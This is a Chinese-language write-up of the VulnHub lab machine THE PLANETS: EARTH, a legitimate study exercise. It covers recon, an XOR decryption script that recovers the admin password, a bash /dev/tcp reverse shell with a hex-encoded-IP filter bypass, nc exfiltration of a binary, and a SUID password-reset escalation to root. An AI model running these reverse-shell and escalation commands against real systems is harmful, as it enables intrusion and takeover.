vulnhub靶场之THE PLANETS: EARTH

时间:2022-10-09 11:05:56

准备:

攻击机:虚拟机kali、本机win10。

靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/theplanets/Earth.ova,下载后直接vm打开即可。

vulnhub靶场之THE PLANETS: EARTH

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.0.0/24,获得靶机地址:192.168.0.11

vulnhub靶场之THE PLANETS: EARTH

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80、443端口,但是443端口需要进行dns解析。

vulnhub靶场之THE PLANETS: EARTH

在未设置dns解析时,访问下https和http服务显示均是400:

vulnhub靶场之THE PLANETS: EARTH

vulnhub靶场之THE PLANETS: EARTH

设置dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后访问:https://earth.local/http://earth.local或https://terratest.earth.local获得初始界面:

vulnhub靶场之THE PLANETS: EARTH

vulnhub靶场之THE PLANETS: EARTH

kali:打开/etc/hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后同windows。

目录扫描:

使用dirmap进行目录扫描:python dirmap.py -i http://earth.local/ -lcf和python dirmap.py -i https://terratest.earth.local -lcf,获得一下目录信息:

vulnhub靶场之THE PLANETS: EARTH

vulnhub靶场之THE PLANETS: EARTH

对扫描出来的地址进行访问,获得一个登录界面、一个robots.txt文件,访问结果如下:

vulnhub靶场之THE PLANETS: EARTH

vulnhub靶场之THE PLANETS: EARTH

尝试访问一下testingnotes.*文件,后面后缀进行测试,最后发现txt文档可以访问,https://terratest.earth.local/testingnotes.txt

vulnhub靶场之THE PLANETS: EARTH

在该文件中发现了以下信息:

1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。

2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。

3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。

xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。

读取testdata.txt文件:

vulnhub靶场之THE PLANETS: EARTH

解码传输信息

#vlunhub之THE PLANETS: EARTH脚本
import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#脚本结果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

vulnhub靶场之THE PLANETS: EARTH 观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:

vulnhub靶场之THE PLANETS: EARTH

获取flag

根据题目描述这题是要寻找两个flag:

vulnhub靶场之THE PLANETS: EARTH

因此通过find查找flag文件,find / -name "*flag*",

vulnhub靶场之THE PLANETS: EARTH

然后读取下/var/earth_web/user_flag.txt文件的信息,cat /var/earth_web/user_flag.txt,获取到flag值:

vulnhub靶场之THE PLANETS: EARTH

获取root权限

观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限

vulnhub靶场之THE PLANETS: EARTH

首先获取下root权限下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:

vulnhub靶场之THE PLANETS: EARTH

尝试执行一下,但是重置密码失败

vulnhub靶场之THE PLANETS: EARTH

那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688

vulnhub靶场之THE PLANETS: EARTH

在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了

vulnhub靶场之THE PLANETS: EARTH

发现被禁止后就在网上查找了以下,发现通过将ip地址转换成16禁止可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功获取到shell权限

vulnhub靶场之THE PLANETS: EARTH

因为shell上无法进行调试,因此把reset_root文件下载到本地进行调试,使用nc进行文件的传递,服务端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序

vulnhub靶场之THE PLANETS: EARTH

然后使用strace进行调试:strace ./reset_root,显示缺少三个文件

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44

vulnhub靶场之THE PLANETS: EARTH

那就去靶机上看一下这几个文件,发现靶机上也没有这几个文件

vulnhub靶场之THE PLANETS: EARTH

那就创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth

vulnhub靶场之THE PLANETS: EARTH

vulnhub靶场之THE PLANETS: EARTH

在root权限下查找flag文件并读取flag值

vulnhub靶场之THE PLANETS: EARTH